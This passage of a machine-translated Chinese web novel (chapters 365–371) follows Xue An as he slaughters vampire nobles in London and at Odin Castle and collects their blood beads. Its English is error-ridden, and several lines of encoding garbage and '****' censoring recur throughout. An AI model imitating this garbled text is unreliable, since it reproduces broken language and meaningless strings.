    Ding Guang couldn''t help being stunned by the name.


    The men and women sitting with Ding Guang also exclaimed.


    "Is anyone still playing master and servant games these years?"


    Ding Guang stared at Xue An for a while, and found that Xue An was handsome, handsome and noble, and he couldn''t help feeling a little awkward.


    Ding Guang��s younger sister, Ding Ran, frowned. As a feminist, what she hates most is having characterized women.


    This kind of game that turns a girl into a maid, she hates it even more.


    So righteously he said to Xue An: "This gentleman, I want to talk to you!"


    Xue An turned his head and looked at Ding Guang and Ding Ran brother and sister Something? "


    Ding Ran was a little hairy by Xue An''s indifferent gaze, but still seriously said: "I don''t know what method you used to persuade this lady, but I hope you will not play this boring game again in the future. "


    said, a smile of disdain appeared at the corner of Ding Ran''s mouth.


    "Only an incompetent man can achieve his perverted desire by slandering a girl."


    In a few words, Xue An has become a pervert.


    Xue An was startled slightly, and then understood what was going on.


    Looking at this group of young people who are only twenty years old and full of bookish faces, Xue An smiled slightly, "If there is no investigation, you can guess the truth for no reason. Is this quality worthy of teaching others?"


    "You...." Ding Ran''s eyes became round.


    In school, she is the president of the Student Union and a leader in the debate. How dare someone say that she is of poor quality?


    "Moreover, you made a mistake. I didn''t ask her to call it. It was purely voluntary, understand?" Xue An said lightly.


    Ding Ran glanced at Quintina after hearing this.


    "Miss sister, don''t be afraid. We are all real human rights fighters. If he oppresses you, we can all protect you!" Ding Ran said.


    "Yes! Miss sister, just tell the truth, I will definitely protect you!"


    Ding Guang is full of justice.


    Quintina looked at the boys and girls like a fool.

 Chapter 366： She has surrendered to me

    I''m just the master of the cry, so why do these guys seem to be stepped on their tails?


    In the blood clan, after being defeated by the strong, it is a normal thing to recognize him as the master.


    Although Xue An is not a blood clan, his strength is beyond doubt.


    So Quintina naturally regarded her as the master.


    Thinking of this, Quintina shook her head, "I don''t know what you are talking about. Before you make friends, get the owner''s consent. Isn''t this a normal thing?"


    Quintina''s words made Ding Ran and the others stunned. After a while, Ding Ran looked at Quintina with a sad look.


    In her opinion, this Quintina had obviously been brainwashed.


    Therefore, she looked at Xue An''s eyes worse and worse.


    This man is definitely a scumbag!


    Ding Ran gave Xue An a definition in his heart.


    When the plane arrived at the airport of Country Y, Quintina naturally picked up all the salutes.


    Big bags and small bags followed Xue An and walked out.


    This scene made Ding Ran and others even more sure that Quintina must have been brainwashed by Xue An.


    "Unexpectedly, in this developed Western world, there will be such a situation, and the brainwashed is such a beautiful white woman!" Ding Guang sighed, but there was a hint of envy in his tone.


    "Gender discrimination is regardless of country. My ideal is to eliminate all inequalities between men and women in my lifetime and create an absolutely equal world!" Ding Ran said confidently.


    "As for this woman, she is already very ill, she is simply a scum among women!"


    Ding Ran''s words attracted the strong agreement of several girls in the team.


    "Sister Ran is right!"


    "Agree with Sister Ran''s opinion!"


    While waiting for the car, Ding Ran led the girls to get on the bus very naturally, and all the transportation and ceremonies were left to several boys.


    This is a historic hotel in London.


    Many celebrities have lived here.


    What people don''t know is that the owner of this hotel, Benedict, has actually become a blood slave thirty years ago.


    When Quintina and Xue An and others appeared in the hotel.


    This Benedict arrived soon.


    "Miss Quintina, I''m very happy to serve you!" Benedict looked at Quintina enthusiastically.


    For blood slaves like them, the blood is their only god.


    Quintina nodded arrogantly, "Are all my family members here?"


    "Miss Quintina, the noble Marquis Cecil has not yet come, but your brothers and sisters have already arrived!"


    Hearing this, Quintina frowned, then nodded, "I see, go down!"


    "Yes!" Benedict leaned down and kissed Quintina''s shoes, then bowed and walked out.


    After he left, Quintina''s complexion became difficult to look.


    "You seem to hate your brothers and sisters?" Xue An said lightly.


    Quintina nodded, with a look of disgust on her face, "It''s not that I hate those brothers and sisters, but that I hate the whole family very much."


    "Because of the annual sacrifice?" Xue An said lightly.


    Quintina lowered her head and said nothing.


    Xue An has seen this information from Quintina''s memory.


    Among the blood races, there are many families whose rule is extremely **** and cruel.


    They will require each member to hand in enough blood every six months for the family owner and many senior family members to strengthen their strength.


    Quintina��s family is no exception.


    This is virtually equivalent to preventing Quintina and others from being promoted.


    This is why Quintina is willing to take such a big risk and want to get the Duke''s blood bead.


    Because only when the strength is increased to a certain extent, can you get rid of this shackle.


    This time it��s the day of sacrifice again, and the place is in this hotel.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    "I remember you said that the blood beads can be condensed above the Marquis, right?" Xue An said lightly.


    Quintina trembled all over, lowered her head and said: "Yes!"


    "Very good, I just want to see the so-called sacrifice too!" Xue An said lightly, turning back to the house.


    Quintina looked at Xue An''s back, and a sense of absurdity suddenly rose in her heart.


    Could he really deal with the Marquis Cecil alone?


    That is the Marquis!


    Moreover, there are many strong kinsmen appearing.


    is it possible?


    Evening.


    A private banquet hall specially prepared for the blood family.


    When Xue An appeared here with Quintina, there were already many people in the banquet hall.


    Arnold was sitting at the bar and drinking with some of his brothers. When he saw Quintina, his eyes lit up, and then he came over with a wicked smile.


    "My dear cousin Quintina, I haven''t seen you in half a year, your figure seems to be much better again!" Arnold said, his eyes erratic on Quintina''s body.


    Seeing him, Quintina''s face became extremely ugly, and she said coldly: "Arnold, if you want to be severely injured by me like half a year ago, you can continue!"


    A disdainful smile appeared at the corner of Arnold��s mouth, "Oh? I forgot if you didn��t tell me. You were really ruthless when you started half a year ago! I wasted a full month of life! But now you still want to do that. Can''t do it! Because..."


    Two wings exuding a strong black air suddenly appeared behind Arnold.


    "Earl! How did you break through to Earl?" Quintina exclaimed.


    "Why is it impossible?" Arnold licked his lips greedily said: "As long as you obediently submit to me, then I can not remember what happened half a year ago!"


    Quintina''s complexion turned pale.


    She is just a viscount now.


    Gong Hou Bozi Nan!


    These are the five levels of blood family.


    An increase of one level is equivalent to several times or even ten times stronger strength.


    Arnold is now an earl, and instantly has an overwhelming advantage over her.


    At this moment, Xue An smiled faintly, "Sorry, you seem to be late, now she has surrendered to me!"


    Xue An''s words caught Arnold for a moment, and then stared at Xue An for a moment, his face gradually showing condescending arrogance.


    "Humanity?"


    Arnold turned his head to look at Quintina, "Are you surrendering to a human?"


    His loud shout attracted the attention of people around him.


    The people who are considered Quintina brothers and sisters by family blood all burst into laughter.


    "Tsk tsk, didn��t you think that Quintina was already mixed up like this? To surrender to the humble and fragile human beings is really a shame to our blood��s reputation!"


    "Hehe, when the Patriarch finds out about this, he will probably tear this human to pieces!"


    In these arrogant and disdainful eyes, Xue An looked indifferent and smiled at Quintina.


    "These brothers and sisters of yours are all this stuff?"

 Chapter 367： Above the earl, the marquis is not full

    oom.


    This sentence is like a bomb, and the whole house that was blown up is full of stormy waves.


    The complexions of many blood races became cold.


    Arnold was even more gloomy, "Human, you have angered me, prepare to bear the anger of a **** earl!"


    said, Arnold rushed forward.


    He had already coveted Quintina, and now he wanted to kill Xue An directly, and then get Quintina.


    But when he just rushed halfway.


    Xue An flicked his finger.


    A ray of sword light flew over, directly shattering Arnold''s body.


    The blood mixed with the meat fell one after another, filling the room with a nauseating smell of blood.


    The house is full of silence.


    After a while, the flesh and blood on the ground began to squirm, trying to regroup.


    This is the blood race talent.


    As long as it is not crushed into pieces, as long as there is blood, then he can be reborn.


    At this moment, Arnold, who has become a pool of flesh and blood, is full of fear, trying to control the flesh and blood, and wants to recover as soon as possible.


    can''t be recovered anyway.


    Because once the flesh and blood of his body try to gather together, there will be a slight flash of sword light, cutting everything back.


    So everyone can only watch the flesh and blood on the ground trying to gather together, and then they are constantly blocked by white light.


    Soon, Arnold''s blood will be exhausted.


    Arnold finally felt the real fear.


    "no, do not want!"


    All the blood races looked at this scene with horror.


    At this moment, a middle-aged man with an arrogant expression suddenly appeared on the court, and with a wave of his hand, a drop of pale golden blood dripped into Arnold''s flesh and blood.


    With this drop of blood, Arnold''s rebirth speed increased many times, and finally he ran out of sword energy and barely reborn back.


    "Patriarch!" Arnold paled with fright and trembled.


    The kinsmen in the house also bend down and salute.


    "I have seen the Patriarch!"


    It was the Marquis Cecil who came.


    He glanced at Quintina.


    Quintina shuddered all over, taking a step back with a wince.


    Then Cecil smiled at Xue An, "The strong man among humans, why do you want to deal with my descendants?"


    Xue An looked at Cecil playfully, "Marquis of Blood?"


    Cecil nodded proudly, "Yes, I am the Marquis of the blood race, human, you haven''t answered my question, why are you attacking my descendants?"


    At this time, Arnold said with a spiteful expression: "Master Patriarch, this Quintina actually regards this human as his master!"


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    "Huh?" Cecil''s face sank.


    "Quentina, do you dare to betray the family?"


    Quintina lowered her head, her expression blank but painful.


    This is because of the suppression from the lineage level. As a descendant of Cecil, she has no power to resist.


    Xue An said indifferently at this time: "I will answer your question, I am here, nothing more than two things!"


    "Oh? What''s the matter?" Cecil said solemnly.


    "First kill you all, second use you to condense the blood beads!"


    Xue An��s indifferent tone was full of strong murderous aura.


    The words made Cecil startled, and then couldn''t help furious.


    "It is so arrogant, today I will let you taste the power of the Cecil family!"


    said, he waved his hand.


    The kinsmen in the banquet hall showed their wings one after another, and then went straight to Xue An.


    The whole banquet hall is boiling with magic.


    Cecil also showed his three pairs of pale golden wings, standing proudly in the air.


    For Xue An, he was a little afraid.


    But he never thought that a human could win so many blood races on his side.


    Unless he is a god.


    And when I defeat this human being, I will drain all his blood.


    The vigorous vitality in his body can make my cultivation level improve.


    Thinking of this, a smug smile appeared on the corner of Cecil''s mouth.


    But his wishful thinking soon fell through.


    I saw Xue An suddenly raise his head, two groups of fire burning in his eyes.


    As far as the kinsmen''s eyes could be, a white flame rose from their bodies, and the flames followed like a shadow, causing these powerful kinsmen to scream.


    then burned it into nothingness little by little.


    Cecil, who was standing in mid-air, almost fell, and shouted with horror: "Bright Flame, who are you from the Bright Church?"


    Xue An doesn''t bother to care about him at all.


    Dealing with these **** kinsmen, he still couldn''t use any punches, so a ray of sword light flew past.


    Cecil was able to avoid, with a look of horror on his face, and then turned to run.


    Xue An stepped forward, came directly behind him, kicked it to the ground with one foot, and stepped forward.


    Cecil let out a harsh scream.


    Quintina shuddered all over and yelled, "Be careful, master!"


    I saw a ray of blood coming straight to Xue An.


    This is Cecil''s life-saving skill.


    But Xue An did not panic at all, just waved casually.


    These blood lights were directly fanned away.


    Cecil almost stared out.


    His move is so powerful that even the Duke has to deal with it carefully.


    This man was broken by hand?


    "Who are you anyway?" Cecil let out a horrified cry.


    Xue An smiled faintly, "Come and harvest people from your blood race!"


    said, a white flame rose from under Cecil''s feet and soon covered it.


    Cecil screamed.


    "no, do not want����."


    The cry stopped abruptly.


    The blood marquis who could live for thousands of years without accident was directly burned into nothingness by Xue An.


    And a little red blood bead appeared in Xue An''s hands.


    This is Cecil''s blood bead after condensing.


    Xue An picked it up and looked at it for a while, then shook his head disappointedly.


    "The energy is not badUnfortunately, there are no rules."


    and threw it directly to Quintina.


    Quintina caught it in a hurry.


    From the beginning to the present, Quintina''s brain has been in a state of confusion.


    Because Xue An shot too fast.


    In the time of a cup of tea, the blood family who just filled the house has been wiped out at this moment.


    Even Cecil was condensed into blood beads.


    Quintina had already raised Xue An''s strength as high as possible, but she did not expect that she was still shocked so much in the end.


    After Xue An gave her this blood bead, she was even more at a loss.


    "Master, you..."


    "This blood bead is useless for me to keep, you can eat it!" Xue An said lightly, turned and left.


    Quintina froze for a long time, then looked at the blood drop in her hand with a complicated expression.


    After so many years of squeezing, she has no good feelings for this family.


    Now that the Patriarch is dead, he has a chance to inherit his abilities!


    After thinking for a moment, Quintina swallowed the bead of blood in one bite.


    boom.


    A wave of formidable aura exudes from Quintina.


    Then two pairs of pale golden wings stick out from behind.


    But the third pair of wings only grew halfway and stopped.


    Quintina slowly opened her eyes, a bright red flashing in her eyes.


    Above the earl, the marquis is not full!

 Chapter 368： Odin Castle

    Benedict crouched on the ground, and tremblingly kissed Quintina''s vamp.


    "Dear Quintina, Benedict is willing to be your servant forever!"


    He has been terrified.


    The powerful Marquis Cecil was completely wiped out.


    And Quintina has become a strong blood family who is about to step into the Marquis.


    These incidents scared Benedict, for fear that Quintina would kill him.


    Quintina said lightly: "Get up, my servant, as long as you serve well, I will give you eternal life!"


    Benedict showed ecstasy, and said with gratitude: "Yes! Honorable Quintina Lord!"


    Benedict stepped back.


    Quintina took a deep breath and walked respectfully to the room where Xue An lived.


    "the host!"


    Quintina��s shout awakened Xue An who was playing games with An Yan.


    "what happened?"


    Quintina gritted her teeth, "It''s about the blood!"


    "Oh! Wait a minute, I''ll finish this game!" With that, Xue Anli lost to An Yan, then got up and walked out of the room.


    "what happened?"


    "Master, the Cecil family is destroyed. The Duke of Aldington of the main family will definitely follow this up. I think we''d better avoid it?"


    "The Duke of Aldington?" Xue An thought the name was familiar.


    "Yes! The oldest family among the blood clan of Y country, aloft, all kinds of squeeze other families." Quintina said through gritted teeth.


    Xue An was interested, "So, can you condense a Duke''s blood bead again?"


    Quintina was startled, and then she understood what Xue An meant, and she couldn''t help crying or laughing.


    She came here to tell her master about her worries. After all, Aldington has been famous for thousands of years, and his strength is extremely strong, far from what the Marquis of Cecil can compare.


    It was unexpected that Xue An''s attention was all on the blood beads.


    "But the master..." Quintina still wanted to persuade.


    Xue An waved his hand and said enthusiastically: "There is nothing to be said, since it is the Grand Duke, then quickly destroy him!"


    Quintina was a little dumbfounded.


    At this moment, Benedict walked in anxiously and handed a sheepskin letterhead to Quintina.


    "Master Quintina, the letter I just received!"


    Quintina looked down a few times, then smiled bitterly.


    "Master, we don''t need to look for it anymore. The Aldington family has sent a letter, asking me to go to the Odin Family Castle tomorrow to discuss matters!"


    "Then go here!" Xue An said with a smile.


    Then squatted down and said to Miss and Nian: "Missing Miss, tomorrow my father will take you to see the castle, okay?"


    "Good! Good! Is there a princess in the castle?" Xue Xiang asked happily.


    "There is no princess, but there are a lot of bad bats. I will kill them all by then!" Xue An said with a smile.


    "Good!" Xue Xiang and Xue Nian said in unison.


    Then Xue Xiang said again: "Dad, I will take the pan to help you beat the bad guys!"


    "Yeah, me too!" Xue Nian quickly agreed.


    Xue An nodded, "Okay, let''s fight together then, okay?"


    Quintina was confused when she heard it.


    What is meant by using a pan to help?


    Could it be said that two children so small can beat a strong blood clan?


    no kidding! How is that possible?


    And just now.


    Ding Guang Ding Ran brothers and sisters brought their teammates to a small town.


    Outside the town is a beautiful hill.


    Odin Castle is like a pearl inlaid on the mountainside.


    "It''s such a beautiful building!" Ding Ran couldn''t help sighing.


    "Hey, do you think there are really vampires in this castle?" A girl in the team trembled and asked.


    Ding Ran smiled disdainfully, "We are all highly educated people, how can we still believe this kind of nonsense? There are no vampires in this world, it''s nothing more than a group of people who have never seen the world talking nonsense."


    "But I heard that this castle is very evil!" The girl said with some fear.


    "Yes! Why don''t we change the place! The professor said that our graduation thesis is just to investigate the maintenance of the European castle, so there is no need to check it personally!" Someone also persuaded.


    The reason they came to Europe was because they wanted to complete a paper together on the maintenance of European castles.


    Ding Ran shook his head and said with a sneer: "I don''t believe those messy rumors. We''ll go mountain climbing soon. I want to see what this vampire looks like!"


    Talking, Ding Ran went up the hill.


    She took the lead, and the others had to follow.


    Soon, they came to the old castle halfway up the mountain.


    was getting closer, and they felt the grandeur of this castle.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    At the same time, a **** smell filled the surroundings, which made people feel a little disgusting.


    "Of course, let''s go!" Ding Guang felt a little hairy in his heart.


    "Yes!"


    During the persuasion of everyone, Ding Ran unexpectedly came stubbornly and said coldly: "A bunch of cowards, what''s so scary about this? I want to see what this castle looks like."


    said that Ding Ran came forward to knock on the door.


    But the door opened with a creak.


    Then a housekeeper with gray hair and elegant temperament walked out and smiled at Ding Ran and the others.


    "My host asked me to welcome you all here!"


    the host?


    Ding Ran and others were all stunned.


    The butler chuckled and said, "You will know when you come in."


    said and let go.


    Ding Ran was determined in his heart and smiled at the people behind him, "I''ll just say, how can there be such a nonsense existence of blood It is obvious that there is a gentleman living here! No, I also invited us to go. Visit it!"


    Talking, Ding Ran walked in with his head raised.


    Although Ding Guang and others felt that something was wrong, it could be seen that Ding Ran had entered and had to keep up.


    After getting inside, Ding Ran and the others couldn''t help being shocked.


    The interior of this castle is very luxurious.


    and all kinds of rare antiques can be seen everywhere.


    When they were looking around enthusiastically.


    Aldington slowly walked down the stairs, smiling gracefully, "Welcome everyone to visit, I am the owner of this castle!"


    Ding Ran and others were all conquered by Aldington''s elegant and majestic aura, and they all bent over to return.


    Now, these people all dispelled the last trace of worry.


    After all, how could such a gentleman be a bad person?


    After they visited for a whole circle, Aldington also intimately invited them to have afternoon tea in the restaurant.


    This kind of comfortable aristocratic fan fascinated Ding Ran and others.


    Aldington is happier as he smiles.


    Every year, there are some tourists who live and die come to visit.


    Aldington basically made human specimens at the end and put them in the basement for permanent collection.


    These people are no exception.


    Especially this girl, with such smooth skin, if made into a doll, she will be very beautiful.


    Aldington thought to himself.

 Chapter 369： Among the blood, the strong is respected

    "Mr. Aldington, how long have you lived in this castle?" Ding Ran asked.


    "Probably... more than a thousand years!" Aldington said with a smile.


    Everyone was startled, and then they all laughed.


    "Mr. Aldington is really humorous." Ding Ran said with a smile.


    They all thought Aldington was joking.


    at the same time.


    Xue An also came to this small town with his family.


    Quintina looked a little solemnly and pointed to the old castle halfway up the mountain, "There is Odin Castle!"


    Xue An nodded, his eyes hot, "Go, don''t let that guy run away!"


    Quintina was a little bit dumbfounded by Xue An''s attitude.


    Others avoid the horrible existence of the blood duke.


    He is not good, but he is eager for it.


    Waiting to come to the old castle.


    Quintina said solemnly: "Cecile family Count Quintina is visiting!"


    Following her voice, the housekeeper walked out again.


    "Miss Quintina, the host is waiting for you in the restaurant and has prepared a sumptuous afternoon tea for you!" The butler said with a smile.


    In his eyes, Ding Ran and others are indeed like a cup of afternoon tea.


    Quintina was in front, Xue An followed with two little girls and An Yan.


    After entering the castle, An Yan couldn''t help sighing.


    "So luxurious!"


    Xue An smiled, "Do you like it? If you like it, let''s live here!"


    Quintina was walking forward, and almost fell to the ground when she heard this.


    Xue An disagrees.


    Isn��t it just a castle?


    My wife likes it, so why not live?


    waited into the restaurant.


    Ding Ran who was talking and laughing with Aldington couldn''t help but startled.


    "Hey, you''re not the one on the plane..."


    Quintina didn''t expect to meet these guys here, she couldn''t help but frown, and ignored them, but bowed her head at Aldington.


    "Your Excellency, you call me to come, what''s the matter?"


    Duke?


    This title made Ding Ran and the others look at each other.


    Is there still such a name?


    Aldington gently wiped his hands with the white silk and smiled faintly.


    "Do you want to say something about the death of the Marquis Cecil?"


    "My lord Duke, the death of my lord Marquis has nothing to do with me!" Quintina wanted to get through.


    "Oh? Really? Then how do you explain your sudden rise in strength?" Aldington said lightly.


    Quintina couldn''t contain the anger in her heart, and her voice was a little chilly.


    "Lord Duke, I am not a member of your family. Whether my strength has skyrocketed or not, it seems to have nothing to do with you!"


    Aldington smiled and nodded, "That''s good! But you have to be clear, in country Y, I am the strongest. I say that there is a relationship, and that is a relationship!"


    The conversation between the two made Ding Ran and the others stunned.


    What kind of blood, family, etc.


    Is it acting?


    Quintina was speechless by Aldington''s words. Among the blood, strength is the most important.


    Aldington is strong, then his words are the truth.


    "Hand over three-quarters of the Cecil family''s property, I can admit your legitimacy!" Aldington said lightly.


    Quintina''s face is hard to look.


    The blood race also needs life.


    Even because of the long life span, they are very eager for a high-quality life, which also led to their enthusiasm for wealth.


    Aldington opened his mouth to be three-quarters of the industry, which is almost like looting.


    At this time, Ding Ran, who had been listening by the side, couldn''t help it.


    "Mr. Aldington, according to what you mean, it seems to be threatening this young lady? You know, people are created equal..."


    I didn''t finish the words at all.


    Because Aldington has become impatient to talk nonsense with this group of humans.


    A stream of light flew by and directly nailed Ding Ran''s arm to the table.


    is actually a silver fork.


    Ding Ran didn''t even expect Aldington to make a sudden move, and he screamed after being startled.


    The screams awakened Ding Guang and the others, and they all got up and scolded Aldington.


    "What do you want to do? Why do you want to fight Ranran?" Ding Guang roared.


    Aldington sneered, and the huge wings stretched out.


    Two pale golden fangs also stick out of his lips.


    This scene made Ding Ran and others all stupid.


    Aldington sneered: "Humble humans, you are also worthy to talk about equality with me? You are only worthy of my afternoon snack!"


    is like washing with water before eating.


    Aldington will also have a friendly talk with the prey before sucking blood.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    He was just having a small ceremony before the meal.


    But the problem is that Aldington has lost that patience.


    also wanted to show off his strength in front of Quintina.


    "Quintina, you can hand over three-quarters of your fortune, and then enjoy this batch of afternoon tea with me, or be swallowed by me!" Aldington said with a sneer.


    what?


    Is this woman also a vampire?


    Ding Ran and others all looked at Quintina in shock.


    Quintina sighed, and two and a half pairs of wings appeared behind her, "Master Duke, did you do this a bit too much?"


    Aldington laughed loudly, "Excessive? The strong among the blood races are respected. Have you forgotten these words?"


    The atmosphere is solemn to the extreme.


    Especially Ding Ran, her heart is full of regret at this moment.


    I really want to die!


    unexpectedly fell into this kind of magic cave.


    And even this woman is a vampire Could it be said that country Y is full of vampires?


    Quintina shook her head, "Yes, the strong is respected, but as the weak, you don''t have to leave you alone!"


    Talking, Quintina suddenly turned into a streamer, broke three times the speed of sound, and went straight to Aldington.


    "Hehe, it''s too slow!" Aldington stood in the air, caught Quintina''s blasting fist casually, and then flung it out.


    Quintina was thrown out and almost hit the wall.


    "Now, tell me your choice!" Aldington said with an arrogant expression, standing with his hands behind him.


    Quintina took a deep breath, then fell on the ground, and bowed her head to Xue An: "Master, I can''t beat it!"


    the host?


    Upon hearing this name, Ding Ran and others looked at Xue An together.


    Aldington said gloomily: "Master? A human being actually the master of a blood clan?"


    Xue An smiled slightly, "Actually, I always think your name is very familiar, but I finally remembered it just now."


    Xue settled down for a while, and then said lightly: "In Sin City, the blood that I killed seems to belong to the Aldington family."


    Hearing these words, Aldington''s eyes were full of blood.


    "So you killed Leicester?"


    Xue An nodded, and then looked at Aldington with interest, "He cursed me before he died, and then I cursed him back. You are not dead, it seems that the Duke is different!"

 Chapter 370： Dark Council

    Infinite horror rose in Aldington''s heart.


    What happened that day is still vivid.


    More than a dozen high marquis were all killed by an extremely powerful curse.


    If it weren''t for making a decisive action on his own, and burning hundreds of years of life, it is estimated that he would not escape.


    Who is this man?


    Why is it so powerful?


    Aldington thought to himself, the expression on his face was also uncertain.


    Xue An turned his head and looked at the panic-faced Ding Ran and others, and said coldly.


    "Be reasonable with the kin, are your heads stuffed with shit?"


    Ding Ran and others were blushing when Xue An said.


    Especially Ding Ran, whose arm was nailed by a fork, was full of grievances under the pain of his heart.


    "For the sake of you are also Chinese, I will save you this time!" As he said, Xue An smiled at Aldington.


    "I didn''t kill you last time, but you can''t run away this time!"


    As he said, Xue An suddenly flew into the air and headed straight for Aldington.


    Aldington roared, "Human, I admit that you are very powerful, but look down on a blood family grand duke, you will pay the price!"


    The voice just fell.


    Xue An has already smashed him from mid-air to the ground with a punch.


    Then he said coldly: "Noisy!"


    said, another punch.


    This boxing student blasted Aldington''s head into the ground, and smashed the hard ground into a big hole.


    Aldington was frightened and flickered with blood all over his body, and he was about to kill Xue An.


    But Xue An seemed to be ramming, slowly banging down with one punch.


    Aldington is not ashamed of being the Duke of the Blood Race.


    Just like that, Xue An banged slowly.


    Aldington''s heart is full of horror, Xue An''s methods are simply incredible, he just tried to escape several times and couldn''t break free.


    Seeing that he gets bombarded like this again, even if his blood is vigorous, he will be bombarded as a fan.


    In desperation, Aldington roared, "Blood escape!"


    This is his last secret method to save his life.


    But when the blood on his body was flourishing, people were gradually disappearing.


    Xue An''s hand directly plunged into the void, grabbed Aldington who was about to escape, and said lightly: "Bring me back!"


    immediately pulled Aldington out of the void.


    Aldington was horrified.


    "You...who are you?"


    Xue An smiled, "I have answered this question many times, and I am too lazy to tell you this time!"


    said, a ray of white flame engulfed Aldington.


    Aldington shouted in horror, "Bright Flame, are you from the Bright Church?"


    Xue An shook his head, "I''m just here to kill your kinsman!"


    With the voice, the fire rose to the sky.


    directly burned Aldington into nothingness.


    A drop of Duke''s blood appeared in Xue An''s hands.


    Xue An took a closer look, then nodded in satisfaction.


    This Aldington is indeed an old monster who has lived for thousands of years.


    The power of rules on the blood ball is stronger than others.


    At this time, everyone looked at Xue An dumbfounded.


    Especially Ding Ran, three duck eggs can fit in with his mouth open.


    She suddenly remembered that when she was on the plane, she even made a mockery of this man.


    Thinking of this, she couldn''t help but shiver.


    I''m just looking for death!


    There is also Quintina. She never expected that the prestigious Grand Duke of Aldington would die in Xue An''s hands.


    At this time, other blood races in the Aldington family also rushed out.


    Seeing that the Patriarch was killed, some loyal ones, such as the housekeeper, roared and killed him.


    Xue An is about to do it.


    Xue wanted to take off the Aoki Heart pan he was wearing on his neck, and shouted, "Beautiful girl transforms!"


    The pan suddenly gets bigger.


    "Ultraman strikes!"


    The pan rushed out with the sound of wind.


    Boom!


    With a pan, he slapped a blood race in the forefront to the ground.


    Xue Nian was also unwilling to show weakness, directing the pan to play on the side with great joy.


    These blood races are generally earl or viscount strength.


    Faced with the Aoki Heart pan made by Xue An, they had no power to fight back.


    was soon brought down by the two little girls.


    Only then did Quintina understand why Xue Xiang and Xue Nianhui were clamoring for help before coming!


    It turns out that these two little girls can really defeat the strong blood clan!


    "Dad, dad, do you think we are good?" Xue Xiang and Xue Nian said excitedly.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    Xue An smiled and nodded, "It''s great to think about it!"


    And An Yan also took out the pan that contained Lei Zun at this time and waved.


    Boom!


    A few thunderbolts fell directly, blasting the kinsmen who had just struggled to stand up into powder.


    The power of thunder has a damage bonus to these dark races.


    What''s more, An Yan''s pan is a nine-day Thunder Zun.


    With a combination of ����, killing a few kinsmen is simply too simple.


    Soon, the members of the Aldington family were basically wiped out.


    Xue An has no regrets about this, because he has just perceived a lot of disgusting images through divine consciousness.


    This Aldington family, death is not a pity!


    This time I got a good harvest, and I got another Duke''s blood bead.


    Ding Ran and others who were about to leave looked at each other, and then bowed deeply to Xue An.


    "Thank you Mr. for your help!"


    Xue An waved his hand, turned and left.


    Xue An has no liking for these people.


    was just a handy thing to save.


    So I don��t bother to accept their apologies or gratitude.


    Ding Ran and others also knew that they had no face to stay here They all ran away embarrassedly.


    soon.


    The Marquis of Cecil was killed, and the news of the fall of the Grand Duke of Aldington spread through the dark world of Europe.


    Country S.


    Blood Mountain.


    The seat of the Blood Council.


    is also a holy land in the minds of all blood races.


    In the gloomy hall, a majestic voice came.


    "Someone slaughtered the duke of my clan, go to find out the origin!"


    "Yes!"


    Several golden bats flew into the night sky.


    and in the dark council. The big giants were slightly startled when they heard the news.


    The dark witch whose face was hidden behind a black mist smiled.


    "That group of bats will suffer this loss too! It really makes people feel happy!"


    And a big man with a height of more than two meters said solemnly: "The blood hasn''t fallen for a long time. This person''s methods should not be underestimated. Send someone to check it!"


    "Yes!"


    "What about the Bright Church?" The strong man asked the Dark Witch again.


    "It''s not the same, today I killed one of his churches, and tomorrow he will kill me some witches!" The Dark Witch pouted.


    "I always feel that the recent Illuminati Church is a little different. Remember to observe their movements!"


    "Okay, I see! Are you Titans so timid?" The Dark Witch smiled.

 Chapter 371： Pretend to be noble in front of me?

    When Xue An led his family out of an attraction, the streets of London were already bright.


    Xue An sighed slightly, "One day has passed again, Quintina, Aldington has been dead for three days, why didn''t you see what you said, there will be blood family revenge?"


    "Master, a grand duke like Aldington is a prince in the Council of the Blood Race. His death will definitely shake the Council, but as for why no one has come yet, I am not sure!" Quintina said in a respectful voice. Tao.


    She now regards Xue An as a god, and she even dared to say it casually, even the blood council that had not dared to mention half a word before.


    "What is this kinship council? Is it tough?" Xue An said lightly.


    "The Blood Clan Council is the place where all the blood clan powerhouses discuss things together. Several chairpersons are princes. It is said that there are even second-generation blood clan."


    When Xue An heard it, his eyes lit up, "Blood Prince...Second Generation! Hey, if this is a condensed blood bead, it must be better than the Duke! Do you know the location of the Blood Clan Council?"


    Quintina smiled bitterly and shook her head, "How can I know it with my strength and identity, even the dead Marquis Cecil can''t even know it! That is the holy land of the blood race, and only people with the strength above the duke are qualified to know it! "


    Xue Anlue was a little disappointed.


    An Yan smiled and said, "Husband, don''t worry anyway, let''s take it as a tourist and look for it slowly!"


    Xue An smiled, "Okay!"


    At this time, the two little girls said in unison: "Dad, we are hungry!"


    "Then let''s go eat now!" Xue An said with a smile.


    As soon as they heard the meal, the eyes of the two little girls lit up, but immediately dimmed.


    "I don''t want to eat hamburgers and fried potatoes!" Xue Nian said pouting.


    "I don''t want to eat fried fish anymore, it''s too unpalatable!" Xue didn''t want to be happy either.


    When she heard this, Quintina looked a little embarrassed.


    In the past few days, under the guidance of Quintina, the Xue An family has visited all the famous sights in London.


    Everything else is good, but eating has become a problem.


    At the beginning, when Quintina led the family into a certain restaurant enthusiastically, and vowed to say that the food here was absolutely delicious.


    Anyan still had two little girls who were still looking forward to it, but when they ate them, they were all shocked.


    Not because it tastes good.


    Quite the opposite, but because it is too unpalatable.


    And the diet is monotonous and boring, which is simply outrageous.


    There are always only two dishes on the table, one for deep-fried everything and one for mashed potatoes.


    Such dark dishes naturally dismissed An Yan and two little girls, who had already been appetized by Xue An''s cooking skills.


    "Master, the restaurants I recommended before were all civilian restaurants, with average taste and texture, but the restaurant I recommended this time will definitely satisfy the two young ladies!" Quintina vowed once again.


    The two little girls didn''t believe it.


    "I don''t believe it, Quintina is a big liar!"


    Quintina vowed to make sure that the taste will definitely pass.


    The last two little girls nodded doubtfully.


    "Well, then try again!" An Yan nodded and said.


    The restaurant that Quintina said is located in the most prosperous part of London. The exterior is well decorated and looks very upscale.


    Once inside, the carefully adjusted lighting makes the environment very comfortable and comfortable. The waiter in suits and leather shoes stepped forward and guided them in a strong English accent.


    This kind of dining environment, at least achieved full marks in the forced grid.


    Many people who were dining also cast a surprised look at Xue An and the group.


    The vast majority here are white faces, and the black hair and black eyes of Xue An''s family seem out of place.


    But more, it was still shocked by the high looks of Xue An''s family.


    Especially the two delicate and lovely girls Xue Xiang and Xue Nian, many people couldn''t help but cast their loving eyes.

